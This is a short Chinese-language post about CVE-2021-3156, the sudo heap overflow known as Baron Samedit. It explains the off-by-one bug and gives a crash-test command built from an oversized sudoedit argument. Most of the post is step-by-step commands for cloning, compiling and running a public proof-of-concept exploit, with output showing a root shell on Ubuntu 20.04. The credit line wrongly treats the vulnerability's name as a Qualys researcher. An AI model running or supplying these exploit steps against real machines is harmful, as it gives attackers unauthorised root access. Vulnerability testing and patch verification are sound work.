1.9.5p2 之前的 Sudo 包含一个 off-by-one 错误,可能导致堆缓冲区溢出,从而允许通过 sudoedit -s 和以单个反斜杠字符结尾的命令行参数将权限提升至 root。
致谢:安全公告由 Qualys 的 Baron Samedit 提供
sudo 项目 发布了一条命令,可用于测试你的 sudo 版本是否存在漏洞:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
如果你收到用法或错误消息,则说明 sudo 不存在漏洞。如果结果是段错误(Segmentation fault),则说明 sudo 存在漏洞。
CVE-2021-3156 的 Root Shell PoC(无需暴力破解) 已在 Ubuntu 20.04(sudo 1.8.31)上测试
$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root